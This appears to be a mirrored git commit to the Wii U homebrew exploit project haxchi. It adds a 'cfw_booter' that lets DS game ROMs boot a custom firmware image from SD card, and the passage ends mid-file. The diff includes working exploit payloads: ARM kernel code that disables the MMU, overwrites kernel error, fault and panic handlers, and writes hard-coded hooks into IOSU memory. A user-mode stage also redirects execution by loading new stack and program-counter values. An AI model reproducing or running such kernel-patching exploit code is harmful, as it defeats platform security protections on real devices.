mirror of
https://github.com/wiiu-env/haxchi.git
synced 2024-11-22 07:59:19 +01:00
-added ported cfw booter to directly boot into a fw.img on sd card
This commit is contained in:
parent
e80cd483b9
commit
be37e6d60d
54
Makefile
54
Makefile
@ -1,12 +1,12 @@
|
||||
.PHONY := all code550.bin
|
||||
|
||||
all: brainage kirby yoshids brainage.zip kirby.zip yoshids.zip
|
||||
all: brainage kirby yoshids brainage.zip kirby.zip yoshids.zip brainage_cfw.zip kirby_cfw.zip yoshids_cfw.zip
|
||||
|
||||
brainage: setup_brainage brainage.nds
|
||||
brainage: setup_brainage brainage.nds setup_brainage_cfw brainage_cfw.nds
|
||||
|
||||
kirby: setup_kirby kirby.nds
|
||||
kirby: setup_kirby kirby.nds setup_kirby_cfw kirby_cfw.nds
|
||||
|
||||
yoshids: setup_yoshids yoshids.nds
|
||||
yoshids: setup_yoshids yoshids.nds setup_yoshids_cfw yoshids_cfw.nds
|
||||
|
||||
setup_brainage:
|
||||
rm -f *.bin
|
||||
@ -23,17 +23,50 @@ setup_yoshids:
|
||||
@cd hbl_loader && make && cd ..
|
||||
@cp -f yoshids_defs.s defines.s
|
||||
|
||||
setup_brainage_cfw:
|
||||
rm -f *.bin
|
||||
@cd cfw_booter && make && cd ..
|
||||
@cp -f brainage_defs.s defines.s
|
||||
|
||||
setup_kirby_cfw:
|
||||
rm -f *.bin
|
||||
@cd cfw_booter && make && cd ..
|
||||
@cp -f kirby_defs.s defines.s
|
||||
|
||||
setup_yoshids_cfw:
|
||||
rm -f *.bin
|
||||
@cd cfw_booter && make && cd ..
|
||||
@cp -f yoshids_defs.s defines.s
|
||||
|
||||
brainage.nds:
|
||||
armips haxchi_rop.s
|
||||
armips haxchi.s
|
||||
mv rom.nds brainage.nds
|
||||
|
||||
kirby.nds:
|
||||
armips haxchi_rop.s
|
||||
armips haxchi.s
|
||||
mv rom.nds kirby.nds
|
||||
|
||||
yoshids.nds:
|
||||
armips haxchi_rop.s
|
||||
armips haxchi.s
|
||||
mv rom.nds yoshids.nds
|
||||
|
||||
brainage_cfw.nds:
|
||||
armips haxchi_rop.s
|
||||
armips haxchi.s
|
||||
mv rom.nds brainage_cfw.nds
|
||||
|
||||
kirby_cfw.nds:
|
||||
armips haxchi_rop.s
|
||||
armips haxchi.s
|
||||
mv rom.nds kirby_cfw.nds
|
||||
|
||||
yoshids_cfw.nds:
|
||||
armips haxchi_rop.s
|
||||
armips haxchi.s
|
||||
mv rom.nds yoshids_cfw.nds
|
||||
|
||||
brainage.zip:
|
||||
zip -JXjq9 brainage.zip brainage.nds
|
||||
@ -44,7 +77,18 @@ kirby.zip:
|
||||
yoshids.zip:
|
||||
zip -JXjq9 yoshids.zip yoshids.nds
|
||||
|
||||
brainage_cfw.zip:
|
||||
zip -JXjq9 brainage_cfw.zip brainage_cfw.nds
|
||||
|
||||
kirby_cfw.zip:
|
||||
zip -JXjq9 kirby_cfw.zip kirby_cfw.nds
|
||||
|
||||
yoshids_cfw.zip:
|
||||
zip -JXjq9 yoshids_cfw.zip yoshids_cfw.nds
|
||||
|
||||
clean:
|
||||
@rm -f *.bin brainage.nds brainage.zip kirby.nds kirby.zip yoshids.nds yoshids.zip
|
||||
@rm -f *.bin defines.s brainage.nds brainage.zip kirby.nds kirby.zip yoshids.nds yoshids.zip
|
||||
@rm -f brainage_cfw.nds brainage_cfw.zip kirby_cfw.nds kirby_cfw.zip yoshids_cfw.nds yoshids_cfw.zip
|
||||
@cd cfw_booter && make clean && cd ..
|
||||
@cd hbl_loader && make clean && cd ..
|
||||
@echo "all cleaned up !"
|
||||
|
@ -1,6 +1,4 @@
|
||||
|
||||
FILE_NDS_NAME equ "brainage.nds"
|
||||
|
||||
; game stack return address
|
||||
HAX_TARGET_ADDRESS equ (0x1076FAA4)
|
||||
|
||||
|
50
cfw_booter/Makefile
Normal file
50
cfw_booter/Makefile
Normal file
@ -0,0 +1,50 @@
|
||||
PATH := $(DEVKITPPC)/bin:$(PATH)
|
||||
PREFIX ?= powerpc-eabi-
|
||||
CC = $(PREFIX)gcc
|
||||
AS = $(PREFIX)gcc
|
||||
CFLAGS = -std=gnu99 -O0 -nostdinc -fno-builtin -g
|
||||
ASFLAGS = -mregnames -x assembler-with-cpp
|
||||
LD = $(PREFIX)ld
|
||||
OBJCOPY = $(PREFIX)objcopy
|
||||
LDFLAGS=-Ttext 1800000 -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2 -lgcc
|
||||
OBJDUMP ?= $(PREFIX)objdump
|
||||
project := .
|
||||
root := $(CURDIR)
|
||||
build := $(root)/bin
|
||||
|
||||
CFLAGS += -DUSE_SD_LOADER
|
||||
ASFLAGS += -DUSE_SD_LOADER
|
||||
FIRMWARE = 550
|
||||
|
||||
all: clean setup main
|
||||
|
||||
$(CURDIR)/payload/arm_kernel_bin.h: $(CURDIR)/payload/arm_user_bin.h
|
||||
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile
|
||||
@-mkdir -p $(CURDIR)/payload
|
||||
@cp -p $(CURDIR)/arm_kernel/arm_kernel_bin.h $@
|
||||
|
||||
$(CURDIR)/payload/arm_user_bin.h:
|
||||
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile
|
||||
@-mkdir -p $(CURDIR)/payload
|
||||
@cp -p $(CURDIR)/arm_user/arm_user_bin.h $@
|
||||
|
||||
setup:
|
||||
mkdir -p $(root)/bin/
|
||||
|
||||
main: $(CURDIR)/payload/arm_kernel_bin.h
|
||||
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/main.c
|
||||
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
|
||||
cp -r $(root)/*.o $(build)
|
||||
rm $(root)/*.o
|
||||
$(LD) -o code$(FIRMWARE).elf $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS) -Map code.map
|
||||
$(OBJCOPY) code$(FIRMWARE).elf -O binary ../code$(FIRMWARE).bin
|
||||
|
||||
clean:
|
||||
rm -rf $(build) payload
|
||||
rm -rf code$(FIRMWARE).elf code.map
|
||||
$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean
|
||||
$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean
|
||||
|
||||
print_stats:
|
||||
@echo
|
||||
@echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312
|
2
cfw_booter/README
Normal file
2
cfw_booter/README
Normal file
@ -0,0 +1,2 @@
|
||||
This is a modified version of cfw booter which can be found here:
|
||||
https://github.com/dimok789/cfw_booter
|
71
cfw_booter/arm_kernel/Makefile
Normal file
71
cfw_booter/arm_kernel/Makefile
Normal file
@ -0,0 +1,71 @@
|
||||
ifeq ($(strip $(DEVKITARM)),)
|
||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||
endif
|
||||
|
||||
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
||||
endif
|
||||
|
||||
CC = arm-none-eabi-gcc
|
||||
# LINK = arm-none-eabi-gcc
|
||||
LINK = arm-none-eabi-ld
|
||||
AS = arm-none-eabi-as
|
||||
OBJCOPY = arm-none-eabi-objcopy
|
||||
CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include
|
||||
LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map
|
||||
|
||||
CFILES = $(wildcard source/*.c)
|
||||
BINFILES = $(wildcard data/*.bin)
|
||||
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
|
||||
OFILES += $(CFILES:source/%.c=build/%.o)
|
||||
DFILES = $(CFILES:source/%.c=build/%.d)
|
||||
SFILES = $(wildcard source/*.s)
|
||||
OFILES += $(SFILES:source/%.s=build/%.o)
|
||||
PROJECTNAME = ${shell basename "$(CURDIR)"}
|
||||
CWD = "$(CURDIR)""
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# canned command sequence for binary data, taken from devkitARM
|
||||
#---------------------------------------------------------------------------------
|
||||
define bin2o
|
||||
bin2s $< | $(AS) -o $(@)
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
|
||||
endef
|
||||
|
||||
.PHONY:=all dirs
|
||||
|
||||
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_bin.h
|
||||
|
||||
dirs:
|
||||
@mkdir -p build
|
||||
|
||||
$(PROJECTNAME).bin: $(PROJECTNAME).elf
|
||||
# $(OBJCOPY) -O binary $< $@
|
||||
$(OBJCOPY) -j .text -j .rodata -O binary $< $@
|
||||
|
||||
$(PROJECTNAME)_bin.h: $(PROJECTNAME).bin
|
||||
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
|
||||
|
||||
$(PROJECTNAME).elf: $(OFILES)
|
||||
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
|
||||
|
||||
clean:
|
||||
@rm -rf build
|
||||
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map
|
||||
@echo "all cleaned up !"
|
||||
|
||||
-include $(DFILES)
|
||||
|
||||
build/%.o: source/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.o: source/%.s
|
||||
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.bin.o: data/%.bin
|
||||
@echo $(notdir $<)
|
||||
@$(bin2o)
|
18
cfw_booter/arm_kernel/link.ld
Normal file
18
cfw_booter/arm_kernel/link.ld
Normal file
@ -0,0 +1,18 @@
|
||||
OUTPUT_ARCH(arm)
|
||||
|
||||
MEMORY
|
||||
{
|
||||
RAMX (rx) : ORIGIN = 0x08134100, LENGTH = 0x000BF00
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.text : ALIGN(0x100) {
|
||||
build/crt0.o(.init)
|
||||
*(.text)
|
||||
}
|
||||
.rodata : {
|
||||
*(.rodata*)
|
||||
}
|
||||
}
|
||||
|
12
cfw_booter/arm_kernel/source/crt0.s
Normal file
12
cfw_booter/arm_kernel/source/crt0.s
Normal file
@ -0,0 +1,12 @@
|
||||
.section ".init"
|
||||
.arm
|
||||
.align 4
|
||||
|
||||
.extern _main
|
||||
.type _main, %function
|
||||
|
||||
.extern memset
|
||||
.type memset, %function
|
||||
|
||||
_start:
|
||||
b _main
|
124
cfw_booter/arm_kernel/source/main.c
Normal file
124
cfw_booter/arm_kernel/source/main.c
Normal file
@ -0,0 +1,124 @@
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
#include "../../payload/arm_user_bin.h"
|
||||
|
||||
static const char repairData_set_fault_behavior[] = {
|
||||
0xE1,0x2F,0xFF,0x1E,0xE9,0x2D,0x40,0x30,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x40,0x00,
|
||||
0xE5,0x92,0x30,0x54,0xE1,0xA0,0x50,0x01,0xE3,0x53,0x00,0x01,0x0A,0x00,0x00,0x02,
|
||||
0xE1,0x53,0x00,0x00,0xE3,0xE0,0x00,0x00,0x18,0xBD,0x80,0x30,0xE3,0x54,0x00,0x0D,
|
||||
};
|
||||
static const char repairData_set_panic_behavior[] = {
|
||||
0x08,0x16,0x6C,0x00,0x00,0x00,0x18,0x0C,0x08,0x14,0x40,0x00,0x00,0x00,0x9D,0x70,
|
||||
0x08,0x16,0x84,0x0C,0x00,0x00,0xB4,0x0C,0x00,0x00,0x01,0x01,0x08,0x14,0x40,0x00,
|
||||
0x08,0x15,0x00,0x00,0x08,0x17,0x21,0x80,0x08,0x17,0x38,0x00,0x08,0x14,0x30,0xD4,
|
||||
0x08,0x14,0x12,0x50,0x08,0x14,0x12,0x94,0xE3,0xA0,0x35,0x36,0xE5,0x93,0x21,0x94,
|
||||
0xE3,0xC2,0x2E,0x21,0xE5,0x83,0x21,0x94,0xE5,0x93,0x11,0x94,0xE1,0x2F,0xFF,0x1E,
|
||||
0xE5,0x9F,0x30,0x1C,0xE5,0x9F,0xC0,0x1C,0xE5,0x93,0x20,0x00,0xE1,0xA0,0x10,0x00,
|
||||
0xE5,0x92,0x30,0x54,0xE5,0x9C,0x00,0x00,
|
||||
};
|
||||
static const char repairData_usb_root_thread[] = {
|
||||
0xE5,0x8D,0xE0,0x04,0xE5,0x8D,0xC0,0x08,0xE5,0x8D,0x40,0x0C,0xE5,0x8D,0x60,0x10,
|
||||
0xEB,0x00,0xB2,0xFD,0xEA,0xFF,0xFF,0xC9,0x10,0x14,0x03,0xF8,0x10,0x62,0x4D,0xD3,
|
||||
0x10,0x14,0x50,0x00,0x10,0x14,0x50,0x20,0x10,0x14,0x00,0x00,0x10,0x14,0x00,0x90,
|
||||
0x10,0x14,0x00,0x70,0x10,0x14,0x00,0x98,0x10,0x14,0x00,0x84,0x10,0x14,0x03,0xE8,
|
||||
0x10,0x14,0x00,0x3C,0x00,0x00,0x01,0x73,0x00,0x00,0x01,0x76,0xE9,0x2D,0x4F,0xF0,
|
||||
0xE2,0x4D,0xDE,0x17,0xEB,0x00,0xB9,0x92,0xE3,0xA0,0x10,0x00,0xE3,0xA0,0x20,0x03,
|
||||
0xE5,0x9F,0x0E,0x68,0xEB,0x00,0xB3,0x20,
|
||||
};
|
||||
|
||||
/* from smealum's iosuhax: must be placed at 0x05059938 */
|
||||
static const char os_launch_hook[] = {
|
||||
0x47, 0x78, 0x00, 0x00, 0xe9, 0x2d, 0x40, 0x0f, 0xe2, 0x4d, 0xd0, 0x08, 0xeb,
|
||||
0xff, 0xfd, 0xfd, 0xe3, 0xa0, 0x00, 0x00, 0xeb, 0xff, 0xfe, 0x03, 0xe5, 0x9f,
|
||||
0x10, 0x4c, 0xe5, 0x9f, 0x20, 0x4c, 0xe3, 0xa0, 0x30, 0x00, 0xe5, 0x8d, 0x30,
|
||||
0x00, 0xe5, 0x8d, 0x30, 0x04, 0xeb, 0xff, 0xfe, 0xf1, 0xe2, 0x8d, 0xd0, 0x08,
|
||||
0xe8, 0xbd, 0x80, 0x0f, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x73, 0x64, 0x63, 0x61,
|
||||
0x72, 0x64, 0x30, 0x31, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64, 0x63,
|
||||
0x61, 0x72, 0x64, 0x00, 0x00, 0x00, 0x2f, 0x76, 0x6f, 0x6c, 0x2f, 0x73, 0x64,
|
||||
0x63, 0x61, 0x72, 0x64, 0x00, 0x05, 0x11, 0x60, 0x00, 0x05, 0x0b, 0xe0, 0x00,
|
||||
0x05, 0x0b, 0xcf, 0xfc, 0x05, 0x05, 0x99, 0x70, 0x05, 0x05, 0x99, 0x7e,
|
||||
};
|
||||
|
||||
static const char sd_path[] = "/vol/sdcard";
|
||||
|
||||
static unsigned int __attribute__((noinline)) disable_mmu(void)
|
||||
{
|
||||
unsigned int control_register = 0;
|
||||
asm volatile("MRC p15, 0, %0, c1, c0, 0" : "=r" (control_register));
|
||||
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register & 0xFFFFEFFA));
|
||||
return control_register;
|
||||
}
|
||||
|
||||
static void __attribute__((noinline)) restore_mmu(unsigned int control_register)
|
||||
{
|
||||
asm volatile("MCR p15, 0, %0, c1, c0, 0" : : "r" (control_register));
|
||||
}
|
||||
|
||||
int _main()
|
||||
{
|
||||
int(*disable_interrupts)() = (int(*)())0x0812E778;
|
||||
int(*enable_interrupts)(int) = (int(*)(int))0x0812E78C;
|
||||
void(*invalidate_icache)() = (void(*)())0x0812DCF0;
|
||||
void(*invalidate_dcache)(unsigned int, unsigned int) = (void(*)())0x08120164;
|
||||
void(*flush_dcache)(unsigned int, unsigned int) = (void(*)())0x08120160;
|
||||
char* (*kernel_memcpy)(void*, void*, int) = (char*(*)(void*, void*, int))0x08131D04;
|
||||
|
||||
flush_dcache(0x081200F0, 0x4001); // giving a size >= 0x4000 flushes all cache
|
||||
|
||||
int level = disable_interrupts();
|
||||
|
||||
unsigned int control_register = disable_mmu();
|
||||
|
||||
/* Save the request handle so we can reply later */
|
||||
*(volatile u32*)0x0012F000 = *(volatile u32*)0x1016AD18;
|
||||
|
||||
/* Patch kernel_error_handler to BX LR immediately */
|
||||
*(int*)0x08129A24 = 0xE12FFF1E;
|
||||
|
||||
void * pset_fault_behavior = (void*)0x081298BC;
|
||||
kernel_memcpy(pset_fault_behavior, (void*)repairData_set_fault_behavior, sizeof(repairData_set_fault_behavior));
|
||||
|
||||
void * pset_panic_behavior = (void*)0x081296E4;
|
||||
kernel_memcpy(pset_panic_behavior, (void*)repairData_set_panic_behavior, sizeof(repairData_set_panic_behavior));
|
||||
|
||||
void * pusb_root_thread = (void*)0x10100174;
|
||||
kernel_memcpy(pusb_root_thread, (void*)repairData_usb_root_thread, sizeof(repairData_usb_root_thread));
|
||||
|
||||
void * pUserBinSource = (void*)0x00148000;
|
||||
void * pUserBinDest = (void*)0x101312D0;
|
||||
kernel_memcpy(pUserBinDest, (void*)pUserBinSource, sizeof(arm_user_bin));
|
||||
|
||||
int i;
|
||||
for (i = 0; i < 32; i++)
|
||||
if (i < 11)
|
||||
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = sd_path[i];
|
||||
else
|
||||
((char*)(0x050663B4 - 0x05000000 + 0x081C0000))[i] = (char)0;
|
||||
|
||||
*(int*)(0x050282AE - 0x05000000 + 0x081C0000) = 0xF031FB43; // bl launch_os_hook
|
||||
|
||||
*(int*)(0x05052C44 - 0x05000000 + 0x081C0000) = 0xE3A00000; // mov r0, #0
|
||||
*(int*)(0x05052C48 - 0x05000000 + 0x081C0000) = 0xE12FFF1E; // bx lr
|
||||
|
||||
*(int*)(0x0500A818 - 0x05000000 + 0x081C0000) = 0x20002000; // mov r0, #0; mov r0, #0
|
||||
|
||||
*(int*)(0x040017E0 - 0x04000000 + 0x08280000) = 0xE3A00000;
|
||||
*(int*)(0x040019C4 - 0x04000000 + 0x08280000) = 0xE3A00000;
|
||||
*(int*)(0x04001BB0 - 0x04000000 + 0x08280000) = 0xE3A00000;
|
||||
*(int*)(0x04001D40 - 0x04000000 + 0x08280000) = 0xE3A00000;
|
||||
|
||||
for (i = 0; i < sizeof(os_launch_hook); i++)
|
||||
((char*)(0x05059938 - 0x05000000 + 0x081C0000))[i] = os_launch_hook[i];
|
||||
|
||||
*(int*)(0x1555500) = 0;
|
||||
|
||||
/* REENABLE MMU */
|
||||
restore_mmu(control_register);
|
||||
|
||||
invalidate_dcache(0x081298BC, 0x4001); // giving a size >= 0x4000 invalidates all cache
|
||||
invalidate_icache();
|
||||
|
||||
enable_interrupts(level);
|
||||
|
||||
return 0;
|
||||
}
|
16
cfw_booter/arm_kernel/source/types.h
Normal file
16
cfw_booter/arm_kernel/source/types.h
Normal file
@ -0,0 +1,16 @@
|
||||
#ifndef _TYPES_H
|
||||
#define _TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef uint16_t u16;
|
||||
typedef uint32_t u32;
|
||||
typedef uint64_t u64;
|
||||
|
||||
typedef int8_t s8;
|
||||
typedef int16_t s16;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t s64;
|
||||
|
||||
#endif
|
25
cfw_booter/arm_kernel/source/utils.c
Normal file
25
cfw_booter/arm_kernel/source/utils.c
Normal file
@ -0,0 +1,25 @@
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len)
|
||||
{
|
||||
const unsigned char *src_ptr = (const unsigned char *)src;
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
|
||||
while(len)
|
||||
{
|
||||
*dst_ptr++ = *src_ptr++;
|
||||
--len;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
void* m_memset(void *dst, int val, unsigned int bytes)
|
||||
{
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
unsigned int i = 0;
|
||||
while(i < bytes)
|
||||
{
|
||||
dst_ptr[i] = val;
|
||||
++i;
|
||||
}
|
||||
return dst;
|
||||
}
|
7
cfw_booter/arm_kernel/source/utils.h
Normal file
7
cfw_booter/arm_kernel/source/utils.h
Normal file
@ -0,0 +1,7 @@
|
||||
#ifndef _UTILS_H_
|
||||
#define _UTILS_H_
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len);
|
||||
void* m_memset(void *dst, int val, unsigned int len);
|
||||
|
||||
#endif
|
71
cfw_booter/arm_user/Makefile
Normal file
71
cfw_booter/arm_user/Makefile
Normal file
@ -0,0 +1,71 @@
|
||||
ifeq ($(strip $(DEVKITARM)),)
|
||||
$(error "Please set DEVKITARM in your environment. export DEVKITARM=<path to>devkitARM")
|
||||
endif
|
||||
|
||||
ifeq ($(filter $(DEVKITARM)/bin,$(PATH)),)
|
||||
export PATH:=$(DEVKITARM)/bin:$(PATH)
|
||||
endif
|
||||
|
||||
CC = arm-none-eabi-gcc
|
||||
# LINK = arm-none-eabi-gcc
|
||||
LINK = arm-none-eabi-ld
|
||||
AS = arm-none-eabi-as
|
||||
OBJCOPY = arm-none-eabi-objcopy
|
||||
CFLAGS += -Wall -mbig-endian -std=gnu99 -march=armv5 -Os -I$(DEVKITPRO)/libnds/include
|
||||
LDFLAGS += --script=link.ld -EB -L"$(DEVKITARM)/arm-none-eabi/lib" -Map=output.map
|
||||
|
||||
CFILES = $(wildcard source/*.c)
|
||||
BINFILES = $(wildcard data/*.bin)
|
||||
OFILES = $(BINFILES:data/%.bin=build/%.bin.o)
|
||||
OFILES += $(CFILES:source/%.c=build/%.o)
|
||||
DFILES = $(CFILES:source/%.c=build/%.d)
|
||||
SFILES = $(wildcard source/*.s)
|
||||
OFILES += $(SFILES:source/%.s=build/%.o)
|
||||
PROJECTNAME = ${shell basename "$(CURDIR)"}
|
||||
CWD = "$(CURDIR)""
|
||||
|
||||
#---------------------------------------------------------------------------------
|
||||
# canned command sequence for binary data, taken from devkitARM
|
||||
#---------------------------------------------------------------------------------
|
||||
define bin2o
|
||||
bin2s $< | $(AS) -o $(@)
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"_end[];" > source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u8" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`"[];" >> source/`(echo $(<F) | tr . _)`.h
|
||||
echo "extern const u32" `(echo $(<F) | sed -e 's/^\([0-9]\)/_\1/' | tr . _)`_size";" >> source/`(echo $(<F) | tr . _)`.h
|
||||
endef
|
||||
|
||||
.PHONY:=all dirs
|
||||
|
||||
all: dirs $(PROJECTNAME).bin $(PROJECTNAME)_bin.h
|
||||
|
||||
dirs:
|
||||
@mkdir -p build
|
||||
|
||||
$(PROJECTNAME).bin: $(PROJECTNAME).elf
|
||||
# $(OBJCOPY) -O binary $< $@
|
||||
$(OBJCOPY) -j .text -j .rodata -O binary $< $@
|
||||
|
||||
$(PROJECTNAME)_bin.h: $(PROJECTNAME).bin
|
||||
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/$(PROJECTNAME)$*/$(PROJECTNAME)/g" > $@
|
||||
|
||||
$(PROJECTNAME).elf: $(OFILES)
|
||||
$(LINK) $(LDFLAGS) -o $(PROJECTNAME).elf $(filter-out build/crt0.o, $(OFILES))
|
||||
|
||||
clean:
|
||||
@rm -rf build
|
||||
@rm -f $(PROJECTNAME).elf $(PROJECTNAME).bin $(PROJECTNAME)_bin.h output.map
|
||||
@echo "all cleaned up !"
|
||||
|
||||
-include $(DFILES)
|
||||
|
||||
build/%.o: source/%.c
|
||||
$(CC) $(CFLAGS) -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.o: source/%.s
|
||||
$(CC) $(CFLAGS) -xassembler-with-cpp -c $< -o $@
|
||||
@$(CC) -MM $< > build/$*.d
|
||||
|
||||
build/%.bin.o: data/%.bin
|
||||
@echo $(notdir $<)
|
||||
@$(bin2o)
|
18
cfw_booter/arm_user/link.ld
Normal file
18
cfw_booter/arm_user/link.ld
Normal file
@ -0,0 +1,18 @@
|
||||
OUTPUT_ARCH(arm)
|
||||
|
||||
MEMORY
|
||||
{
|
||||
RAMX (rx) : ORIGIN = 0x101312D0, LENGTH = 0x000BF00
|
||||
}
|
||||
|
||||
SECTIONS
|
||||
{
|
||||
.text : ALIGN(0x04) {
|
||||
build/crt0.o(.init)
|
||||
*(.text)
|
||||
}
|
||||
.rodata : {
|
||||
*(.rodata*)
|
||||
}
|
||||
}
|
||||
|
20
cfw_booter/arm_user/source/crt0.s
Normal file
20
cfw_booter/arm_user/source/crt0.s
Normal file
@ -0,0 +1,20 @@
|
||||
.section ".init"
|
||||
.arm
|
||||
.align 4
|
||||
|
||||
.extern _main
|
||||
.type _main, %function
|
||||
|
||||
.extern memset
|
||||
.type memset, %function
|
||||
|
||||
_start:
|
||||
b _main
|
||||
|
||||
.global IOS_DCFlushAllCache
|
||||
IOS_DCFlushAllCache:
|
||||
MOV R15, R0
|
||||
clean_loop:
|
||||
MRC p15, 0, r15, c7, c10, 3
|
||||
BNE clean_loop
|
||||
MCR p15, 0, R0, c7, c10, 4
|
30
cfw_booter/arm_user/source/main.c
Normal file
30
cfw_booter/arm_user/source/main.c
Normal file
@ -0,0 +1,30 @@
|
||||
#include "types.h"
|
||||
#include "utils.h"
|
||||
|
||||
|
||||
void _main()
|
||||
{
|
||||
|
||||
void(*ios_shutdown)(int) = (void(*)(int))0x1012EE4C;
|
||||
|
||||
int(*reply)(int, int) = (int(*)(int, int))0x1012ED04;
|
||||
|
||||
int saved_handle = *(volatile u32*)0x0012F000;
|
||||
int myret = reply(saved_handle, 0);
|
||||
if (myret != 0)
|
||||
ios_shutdown(1);
|
||||
|
||||
// stack pointer will be 0x1016AE30
|
||||
// link register will be 0x1012EACC
|
||||
asm("LDR SP, newsp\n"
|
||||
"LDR R0, newr0\n"
|
||||
"LDR LR, newlr\n"
|
||||
"LDR PC, newpc\n"
|
||||
"newsp: .word 0x1016AE30\n"
|
||||
"newlr: .word 0x1012EACC\n"
|
||||
"newr0: .word 0x10146080\n"
|
||||
"newpc: .word 0x10111164\n");
|
||||
|
||||
|
||||
|
||||
}
|
16
cfw_booter/arm_user/source/types.h
Normal file
16
cfw_booter/arm_user/source/types.h
Normal file
@ -0,0 +1,16 @@
|
||||
#ifndef _TYPES_H
|
||||
#define _TYPES_H
|
||||
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef uint16_t u16;
|
||||
typedef uint32_t u32;
|
||||
typedef uint64_t u64;
|
||||
|
||||
typedef int8_t s8;
|
||||
typedef int16_t s16;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t s64;
|
||||
|
||||
#endif
|
25
cfw_booter/arm_user/source/utils.c
Normal file
25
cfw_booter/arm_user/source/utils.c
Normal file
@ -0,0 +1,25 @@
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len)
|
||||
{
|
||||
const unsigned char *src_ptr = (const unsigned char *)src;
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
|
||||
while(len)
|
||||
{
|
||||
*dst_ptr++ = *src_ptr++;
|
||||
--len;
|
||||
}
|
||||
return dst;
|
||||
}
|
||||
|
||||
void* m_memset(void *dst, int val, unsigned int bytes)
|
||||
{
|
||||
unsigned char *dst_ptr = (unsigned char *)dst;
|
||||
unsigned int i = 0;
|
||||
while(i < bytes)
|
||||
{
|
||||
dst_ptr[i] = val;
|
||||
++i;
|
||||
}
|
||||
return dst;
|
||||
}
|
7
cfw_booter/arm_user/source/utils.h
Normal file
7
cfw_booter/arm_user/source/utils.h
Normal file
@ -0,0 +1,7 @@
|
||||
#ifndef _UTILS_H_
|
||||
#define _UTILS_H_
|
||||
|
||||
void* m_memcpy(void *dst, const void *src, unsigned int len);
|
||||
void* m_memset(void *dst, int val, unsigned int len);
|
||||
|
||||
#endif
|
31
cfw_booter/coreinit.h
Normal file
31
cfw_booter/coreinit.h
Normal file
@ -0,0 +1,31 @@
|
||||
//Taken from libwiius coreinit.h
|
||||
|
||||
#ifndef COREINIT_H
|
||||
#define COREINIT_H
|
||||
|
||||
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
|
||||
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
|
||||
#define OSFatal ((void (*)(char* msg))0x01031618)
|
||||
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160)
|
||||
|
||||
typedef struct OSContext
|
||||
{
|
||||
